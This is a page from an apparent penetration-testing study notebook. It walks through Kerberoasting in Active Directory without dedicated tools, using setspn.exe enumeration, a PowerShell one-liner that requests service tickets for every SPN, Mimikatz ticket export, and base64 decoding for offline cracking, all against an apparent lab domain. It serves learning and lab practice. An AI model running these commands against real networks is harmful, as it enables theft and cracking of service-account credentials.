Bibliotheque
DiscordHackTheBoxTryHackMeGitHub
  • Welcome wanderer
    • Bibliotheque
    • Hacking Philosophy
    • Useful Links
  • PENTESTING
    • Methodology
    • Protocols
      • FTP
      • SMB
      • NFS
      • SSH
      • RDP
      • SMTP
      • IMAP / POP3
      • RSYNC
      • SNMP
      • IPMI
      • R-Services
      • WinRM
      • WMI
      • LDAP
    • Databases
      • MySQL
      • MSSQL
      • Oracle TNS
      • PostgreSQL
    • File Transfers
      • Windows
      • Linux
      • Code
      • Misc
    • Password Attacks
      • John The Ripper
      • Hashcat
    • Docker
  • TOOLS
    • Nmap
    • Metasploit
    • BloodHound
    • Other
  • Linux
    • Theory
    • Commands and Utilities
      • Useful Commands
    • Bash Scripting
    • Post-Exploitation
      • Cred Hunting
      • Pivoting
  • WINDOWS
    • Theory
      • Security
    • Commands and Utilities
    • PowerShell
    • Post-Exploitation
      • Tools
      • Enumeration
        • System
        • Network
        • Users
        • Groups
        • Processes / Services
        • Permissions
        • Defence
        • Programs
        • Files
      • Access
      • Pivoting
      • Cred Hunting
    • Privilege Escalation
      • Privileges
      • Built-In Groups
        • Backup Operators
        • Server Operators
        • Print Operators
        • DnsAdmins
        • Event Log Readers
      • Privilege Abuse
        • Potatoes
        • SeDebugPrivilege
        • SeTakeOwnershipPrivilege
      • MISC
        • UAC Bypass
        • User-Interaction Attacks
        • Weak Permissions
  • ACTIVE DIRECTORY
    • Theory
      • Terminology
    • Reconnaissance
      • Responder
      • Password Policies
      • DNS
      • Enumeration
        • Users
        • Groups
          • GPO's
        • Shares
        • Domain
        • Trusts
        • ACL
    • Movement
      • Credentials
        • Dumping
          • DCSync
          • DPAPI Secrets
        • Making a Target List
        • Spraying
        • Powershell Remoting
      • Kerberos
        • Kerbrute
        • Kerberoasting
          • Semi-Manual Way
          • Targeted Kerberoasting
        • ASREProasting
        • Forging
          • Golden Ticket
        • Overpass The Hash
        • Pass The Ticket
        • RBCD
        • noPAC
      • MITM / Coerced Auths
        • LLMNR, NBT-NS Poisoning
        • PetitPotam
      • DACL Abuse
        • AddMember
        • ForceChangePassword
      • Trust Abuse
        • ExtraSIDs
      • ADCS
        • ESC1
      • Printers
        • PrintNightmare
    • Tools
  • Networking
    • Theory
      • Types / Topologies
      • OSI & TCP/IP Models
      • TCP / UDP
      • MAC Addresses
      • IP / Subnetting
      • Proxies
      • ARP
    • Pivoting
      • Port-Forwarding
    • Commands and Utilities
    • Techniques
  • WEB
    • Web Recon
      • Fuzzing
    • DNS
  • CLOUD
    • Google GKE/GCP
      • Theory
Powered by GitBook
On this page
  • Enumerating SPNs with setspn.exe
  • Targeting a single user
  • Retrieve all tickets with setspn.exe
  • Extract Tickets with Mimikatz
  1. ACTIVE DIRECTORY
  2. Movement
  3. Kerberos
  4. Kerberoasting

Semi-Manual Way

Usually we would be doing kerberoasting with tools, but sometimes we don't have access to them, so this is more minimalistic approach.

Enumerating SPNs with setspn.exe

C:\> setspn.exe -Q */*

Targeting a single user

PS C:\> Add-Type -AssemblyName System.IdentityModel

PS C:\> New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/NC.militech.local:1433"

Retrieve all tickets with setspn.exe

PS C:\> setspn.exe -T MILITECH.LOCAL -Q */* | Select-String '^CN' -Context 0,1 | % { New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }

With this two commands we are:

  1. Load necessary .NET classes (Add-Type).

  2. Create an object for Kerberos authentication (New-Object).

  3. The object requests a TGS ticket for the given service.

  4. The ticket is stored in memory under that object.

Extract Tickets with Mimikatz

mimikatz # base64 /out:true

mimikatz # kerberos::list /export  

// If we do not use base64 out true command, mimikatz will put tickets in .kirbi file.

Base64 Blob Processing

echo "<base64 blob>" | tr -d \\n | base64 -d > sqldev.kirbi

Then go to Hashcat section in main Kerberoasting section and crack it.

PreviousKerberoastingNextTargeted Kerberoasting

Last updated 2 months ago